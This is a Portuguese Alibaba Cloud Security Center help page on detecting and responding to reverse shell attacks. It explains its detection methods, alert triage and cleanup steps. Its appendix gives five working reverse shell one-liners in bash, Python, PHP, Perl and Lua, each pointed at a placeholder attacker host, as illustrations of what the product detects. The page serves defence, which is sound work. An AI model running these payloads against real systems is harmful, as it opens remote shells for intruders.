Detectar ataques de reverse shell | Detecção multidimensional no Security Center - Security Center: Central de Documentação do Alibaba Cloud

O que é um reverse shell

O reverse shell é uma técnica comum de intrusão. Após obterem acesso inicial ao servidor por meio de vulnerabilidade ou senha fraca, os invasores implantam um reverse shell para estabelecer um túnel de comunicação oculto do servidor comprometido (cliente) de volta para um servidor controlado pelo invasor (servidor).

Essa prática representa duas ameaças principais:

Contorno de restrições de firewall: A conexão se origina no servidor e contorna firewalls que restringem apenas o tráfego de entrada. Assim, os invasores executam comandos remotamente.
Estabelecimento de controle persistente: Com um shell interativo, os invasores roubam dados, instalam ransomware, movem-se lateralmente ou usam o servidor para atacar outros sistemas.

Como funciona

Princípios fundamentais

O Security Center vai além da detecção baseada em assinaturas com um sistema multicamadas construído sobre estes princípios fundamentais:

Além das assinaturas tradicionais: Foca no comportamento fundamental do ataque, em vez de assinaturas estáticas instáveis, como expressões regulares.
Coleta de dados multidimensional: O agente do host coleta dados em tempo real, incluindo atividade de processos, acesso a arquivos, conexões de rede e chamadas de kernel.
Análise inteligente baseada em nuvem: Uma plataforma de big data na nuvem executa análises de correlação e modelagem comportamental para permitir validação cruzada.

Esse sistema de defesa em profundidade combina análises na nuvem e no endpoint para detectar ataques conhecidos e desconhecidos com alta precisão.

Principais tecnologias de detecção

O sistema de detecção utiliza múltiplas tecnologias que reconstroem comportamentos de ataque a partir de diferentes dimensões para validação cruzada.

Análise de descritor de arquivo (FD)
- Princípio e método de detecção: Monitora os descritores de arquivo dos processos em tempo real. Se a E/S padrão de um processo de shell for redirecionada para um socket de rede, o sistema aciona um alerta imediatamente.
- Alvo principal de detecção: Reverse shells iniciados diretamente com comandos como bash -i >& /dev/tcp/... que utilizam redirecionamento de E/S.
Análise de sequência anormal de comandos
- Princípio e método de detecção: Estabelece uma linha de base de sequências normais de comandos para o servidor usando uma plataforma de big data. Quando o sistema detecta uma sequência anormal correspondente a padrões de ataque conhecidos (como reconhecimento ou escalonamento de privilégios), ele a sinaliza como de alto risco.
- Alvo principal de detecção: Reverse shells implementados por meio de linguagens de script, como Python ou Perl, que não apresentam características óbvias de processos de shell, bem como seus comportamentos subsequentes de movimento lateral.
Análise de cadeia anormal de inicialização de processos
- Princípio e método de detecção: Analisa as relações pai-filho dos processos, parâmetros de inicialização, contexto do usuário e comportamento histórico para identificar shells não interativos iniciados por processos pai anormais, como serviços web.
- Alvo principal de detecção: Reverse shells acionados por vulnerabilidades web ocultos no tráfego normal de serviço.
Análise profunda de arquivos maliciosos
- Princípio e método de detecção:
  - Sandbox de scripts: Executa rastreamento dinâmico e descompilação estática em scripts persistidos, como Bash, Python e JAR, para identificar lógica maliciosa em código ofuscado.
  - Sandbox binária: Analisa funções importadas, estrutura de código e comportamento dinâmico, como conexões de rede, de programas compilados, como C/C++, Go e Meterpreter.
- Alvo principal de detecção: Trojans de script altamente ofuscados ou criptografados; programas de reverse shell compilados escritos em C/C++, Go ou gerados pelo Meterpreter.
Detecção de características adversárias de tráfego de rede
- Princípio e método de detecção: Analisa o tráfego de rede em busca de características de comunicação de shell interativo e detecta técnicas comuns de evasão, como substituição de shells do sistema ou codificação de comandos.
- Alvo principal de detecção: Funciona como método complementar para aumentar a cobertura de padrões de ataque conhecidos e técnicas de evasão.

Plano de resposta

A proteção contra reverse shell envolve três etapas: ativar a detecção, analisar alertas e responder a emergências.

Ative a detecção de reverse shell

Se você ativou o Security Center Enterprise ou superior e o agente está instalado e online no servidor de destino, a detecção de reverse shell estará habilitada por padrão.

Analisar e interpretar alertas

Quando o Security Center detectar atividade suspeita de reverse shell, acesse Agentic SOC > Alert ou Detection and Response > Alert e abra os detalhes do alerta de reverse shell. Concentre-se em:

Nível de Ameaça: Geralmente Critical, o que indica que o alerta requer atenção e tratamento imediatos.
Informações do Processo: Exibe o caminho do processo e os parâmetros de linha de comando que acionaram o alerta. Por exemplo, um processo /bin/bash -i iniciado por www-data é um indicador típico de alto risco.
Informações do Processo Pai: Exibe a origem do processo suspeito para ajudar a rastrear o caminho do ataque. Por exemplo, se o processo pai for um servidor web (Apache ou Nginx), o ataque provavelmente se originou de uma vulnerabilidade web.
Informações de Conexão de Saída: Se presente, exibe o endereço IP remoto e a porta aos quais o processo suspeito se conectou. Esse endereço IP identifica o servidor controlado pelo invasor.

Tratar alertas

Na página de detalhes do alerta, execute as seguintes ações com base na sua avaliação de risco. Avaliar e tratar alertas de segurança.

Virus Detection and Removal: Interrompe o processo do vírus e move o arquivo infectado para a quarentena. Arquivos em quarentena não podem ser executados, acessados ou propagados.
Quarantine: Move apenas o arquivo suspeito para a quarentena sem interromper os processos em execução.
End Process: Interrompe imediatamente o processo malicioso associado ao alerta para cortar rapidamente o ataque.
Add to Whitelist: Se o alerta for um falso positivo acionado por scripts normais de O&M ou de negócios, adicione o item à lista de permissões.

Nota
Defina regras de lista de permissões com base em caminhos de arquivo ou hashes MD5 para evitar que eventos semelhantes acionem alertas.

Reforço de segurança

Bloquear conexões de rede
- Localize o endereço IP do invasor nos detalhes do alerta.
- Configure regras de grupo de segurança para negar todo o acesso de entrada e saída desse endereço IP e cortar completamente a conexão do invasor.
Remover backdoors persistentes

Os invasores geralmente configuram mecanismos de persistência. Faça logon no servidor para investigar:
- Verifique tarefas agendadas: Execute crontab -l -u <user> (onde <user> é o usuário que executa o processo suspeito, como root ou www-data) para verificar entradas suspeitas. Exclua quaisquer entradas maliciosas com crontab -e.
- Exclua arquivos maliciosos: Use o caminho do arquivo no alerta para localizar e excluir o script ou binário malicioso.
Execute varredura completa e reforce o servidor
- No console do Security Center, use Protection Configuration > Host Protection > Virus Detection and Removal para executar uma varredura completa e detecção de backdoor no servidor.
- Corrija vulnerabilidades de segurança no servidor para eliminar o ponto de entrada do ataque.

Custos e riscos

Estrutura de custos: A detecção de reverse shell está incluída nas edições do Security Center sem custo adicional. Para análise detalhada de logs de serviço, adquira os recursos adicionais Log Management ou Log Analysis.
Riscos principais:
- Durante a resposta a emergências, ações como encerrar um processo ou modificar configurações podem afetar os negócios normais. Crie um snapshot do servidor antes de fazer alterações.
- Nenhuma solução de detecção é perfeita. Ataques 0-day altamente personalizados que usam técnicas desconhecidas podem contornar a detecção. A defesa em profundidade continua sendo crítica: aplique patches de vulnerabilidades prontamente, adote o princípio do menor privilégio e imponha políticas de rede rigorosas.

Apêndice: Classificação e exemplos de reverse shells

Os exemplos a seguir de ataques comuns de reverse shell ilustram o escopo de detecção do Security Center e ajudam a equipe de segurança a verificar a eficácia da proteção.

Aviso

Estes exemplos servem apenas para ilustrar o escopo de detecção do Security Center para esses tipos de ataque, ajudando a equipe de segurança a entender alertas e verificar a proteção.
Não utilize nem execute este código em um ambiente não autorizado. Você é o único responsável por quaisquer violações legais, riscos e responsabilidades resultantes.

Tipo 1: Redirecionamento direto de E/S

Princípio fundamental: Este tipo de reverse shell comunica-se pela rede redirecionando a entrada padrão, saída padrão e erro padrão do bash -i para um socket /dev/tcp.
Abordagem de detecção: Análise de descritor de arquivo (FD). Este método monitora a tabela de FD de um processo para detectar se a E/S padrão do processo de shell foi redirecionada para um socket de rede.
Exemplos de cenários de detecção:
- Exemplo 1:
```
# Example 1 (bash I/O redirection):
bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
```
  - Descrição do comportamento:
    - Utiliza o recurso /dev/tcp para estabelecer uma conexão TCP com um host remoto.
    - Redireciona a entrada padrão, saída padrão e erro padrão do bash para essa conexão de rede, obtendo um shell interativo remoto.
  - Lógica de detecção: Por meio da análise de FD, o Security Center descobre que os descritores de arquivo 0/1/2 do processo /bin/bash apontam para um socket de rede, o que aciona um alerta de reverse shell.
- Exemplo 2:
```
# Example 2 (Python redirection):
python -c '
  import socket, subprocess, os
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("[ATTACKER_IP]", [PORT]))
  os.dup2(s.fileno(), 0)  # Redirect stdin to socket
  os.dup2(s.fileno(), 1)  # Redirect stdout to socket
  os.dup2(s.fileno(), 2)  # Redirect stderr to socket
  subprocess.call(["/bin/sh", "-i"])
  '
```
  - Descrição do comportamento:
    - Conecta-se ativamente a um host remoto usando Python e redireciona a entrada padrão, saída padrão e erro padrão do processo atual para essa conexão.
    - Em seguida, inicia /bin/sh -i como um processo filho para estabelecer um shell interativo.
  - Lógica de detecção:
    - A análise de FD captura a relação de redirecionamento entre /bin/sh e o socket.
    - A análise de cadeia anormal de processos identifica o processo de shell interativo iniciado por python como um comportamento de alto risco.
- Exemplo 3:
```
# PHP reverse shell
php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
```
  - Descrição do comportamento:
    - Conecta-se ativamente a um host remoto usando a função fsockopen do PHP. Essa conexão obtém um descritor de arquivo (geralmente 3).
    - Em seguida, executa o processo /bin/sh -i e redireciona explicitamente sua entrada padrão, saída padrão e erro padrão para o descritor de arquivo 3. Isso vincula o shell interativo à conexão de rede estabelecida.
  - Lógica de detecção:
    - A análise de FD captura a relação de redirecionamento entre /bin/sh e o socket (FD 3). Isso indica que a entrada padrão, saída padrão e erro padrão apontam para uma conexão de rede, e não para um terminal ou arquivo comum.
    - A análise de cadeia anormal de processos constata que o processo php inicia um /bin/sh interativo usando exec, e a E/S do shell está vinculada a um socket de rede externo. Essa cadeia de processos "interpretador de script → conexão remota → shell interativo" é característica de um comportamento de controle remoto de alto risco.
- Exemplo 4:
```
# Perl redirection example
perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
  - Descrição do comportamento:
    - Usa o módulo Socket do Perl para criar um socket TCP e conectar-se ativamente a [ATTACKER_IP]:[PORT].
    - Após uma conexão bem-sucedida, redireciona STDIN, STDOUT e STDERR do processo atual para o identificador de socket S e, em seguida, inicia um shell interativo usando exec("/bin/sh -i").
  - Lógica de detecção:
    - A análise de FD constata que a entrada padrão, saída padrão e erro padrão de /bin/sh apontam para o mesmo socket de rede (S), em vez de um terminal ou arquivo comum. Isso demonstra uma clara relação de redirecionamento "shell-para-socket".
    - A análise de cadeia anormal de processos encontra uma cadeia de comportamento onde um processo perl cria e se conecta a um socket remoto e, em seguida, executa /bin/sh -i. Trata-se de um reverse shell orientado por script, que é um padrão de controle remoto de alto risco.
- Exemplo 5:
```
# Lua redirection example
lua -e 
"require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
  - Descrição do comportamento:
    - Conecta-se ativamente a um host remoto usando a biblioteca socket do Lua. Essa conexão obtém um descritor de arquivo (geralmente 3).
    - Executa o comando externo /bin/sh -i usando os.execute e redireciona explicitamente sua entrada padrão, saída padrão e erro padrão para esse descritor de arquivo. Isso estabelece um reverse shell interativo.
  - Lógica de detecção:
    - A análise de FD captura a relação de redirecionamento de entrada/saída entre /bin/sh e o socket de rede (FD 3). Isso mostra que toda a E/S do shell está anexada a uma conexão TCP.
    - A análise de cadeia anormal de processos identifica o processo de shell interativo iniciado pelo interpretador lua como um comportamento de alto risco.

Security Center:Detectar e tratar ataques de reverse shell